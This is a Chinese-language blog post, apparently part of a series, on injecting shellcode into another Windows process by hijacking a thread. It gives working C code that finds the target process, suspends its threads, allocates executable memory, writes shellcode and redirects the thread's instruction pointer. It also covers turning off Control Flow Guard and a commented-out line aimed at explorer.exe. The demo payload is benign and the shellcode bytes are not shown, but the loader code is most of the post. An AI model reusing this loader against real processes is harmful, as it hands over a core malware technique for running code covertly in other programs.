https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通過APC注入方式,讓目標線程運行shellcode。這么做有個前提條件:目標線程是alertable的,否則注入了也不會立即被執行,直到狀態改為alertable,但筆者暫時沒找到能把目標線程狀態主動改為alertable的辦法,所以只能被動“聽天由命”地等。今天介紹另一種遠程線程注入的方式:hook 線程;
先說第一種思路,如下:
核心代碼解析如下:
1、用於測試的目標進程:這里寫個死循環,讓其一直運行,方便隨時被注入;
#include <windows.h> #include <stdio.h> int main() { printf("dead looping...............\n"); while (TRUE) { } }
注意:本人測試環境:
win10 x64為了確保安全,默認增加了很多防護,比如控制流防護CFG,編譯的時候需要手動改成否,才能讓我們注入的shellcode順利執行;
2、遍歷進程,找到目標進程后再遍歷該進程名下其他線程:
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) { //while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId); if (Wow64SuspendThread(threadHandle) == -1) //掛起線程失敗 { continue; } printf("threadId:%d\n", threadId); if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize)) { printf("threadID = %d inject success!", threadId); CloseHandle(victimProcess); CloseHandle(threadHandle); break; } }
3、shellcode代碼注入,思路也簡單:之前已經已經拿到目標進程和目標線程的句柄,並且已經暫定線程,這里直接GetThreadContext,更改eip為shellcode地址即可;
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize) { LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (shellAddress == NULL) { printf("VirtualAlloc Error\n"); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE ); ResumeThread(hThread); return FALSE; } WOW64_CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx)) { int a = GetLastError(); printf("GetThreadContext Error:%d\n", a); VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); ResumeThread(hThread); return FALSE; } DWORD currentEIP = ctx.Eip; if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == 0) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("write shellcode error\n"); ResumeThread(hThread); return FALSE; } ctx.Eip = (DWORD)shellAddress;//讓eip指向shellcode if (!Wow64SetThreadContext(hThread, &ctx)) { VirtualFreeEx(hProcess, shellAddress, 0, MEM_RELEASE); printf("set thread context error\n"); ResumeThread(hThread); return FALSE; } ResumeThread(hThread); return TRUE; }
效果:彈出了messagebox:
也在目標進程的目錄下生成了文件:
4、最后做一些總結:
- 為了讓被注入的目標進程一直運行,剛開始用了sleep,從process hacker看能正常suspend,但無法resume,shellcode也無法執行;后來改成死循環,能正常執行shellcode了;
- shellcode執行完后,從打印的數據來看,貌似又從main開始運行,如下:
從process hacker看,線程並未改變,還是之前的那個:
那么問題來了,shellcode執行完回到主線程后為啥又執行了打印代碼?仔細想想,shellcode最后一條有效指令是C3,也就是ret,該指令把棧頂4個字節作為返回地址賦值給eip;既然dead looping打印了兩次,說明執行shellcode執行前棧頂被壓入了這行代碼的地址,這是誰干的了?用IDA打開目標進程分析,如下:
好在自己寫的測試進程不復雜,很容易找到答案,分析如下:
(1)由於cpu執行速度很快,注入shellcode的進程(以下簡稱loader)在執行suspendThread時大概率已經進入while死循環,從上面匯編代碼來看,while循環並未改變堆棧,所以shellcdoe執行完后ret的地址肯定不是while循環更改的;
(2)繼續往上倒推:add esp,4 這是進入死循環最后一行改變棧頂的代碼,為了更直觀說明,我畫了一個堆棧圖,對照代碼如下:
從函數入口點開始,改變堆棧,期間有兩個call和一個push,這3行指令會改變esp;最后執行完add esp,4后,esp重新指向原edi;shellcode最后一行ret執行時,會從堆棧中該值彈出賦值給eip。那么原edi值又是多少了?用調試器打開測試進程,在main入口斷下,發現edi指向的時EntryPoint,也就是說shellcode最后一個ret指令會跳轉到這里開始執行;
這里也能看到棧頂是EntryPoint的地址:
5、 這次注入shellcode雖說成功,問題也很明顯:
- 手動關閉了CFG檢查,但實際情況是CFG默認是開啟的,導致shellcode可能無法執行
- 沒有設置返回地址,shellcode執行完,返回地址無法控制(這里只是湊巧回到了原EntryPoint);因suspendThread是隨機的,context的eip也是隨機的,所以shellcode執行完后返回地址也是隨機的,這點在shellode無法寫死,只能動態獲取;我曾經嘗試在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通過字符串操作的時候可能會被截斷,暫時沒想到好的解決辦法;
- 類似explorer這種系統進程,GetThreadContex大概率會失敗,可能做了保護;
后續會通過其他方案挨個解決這些問題!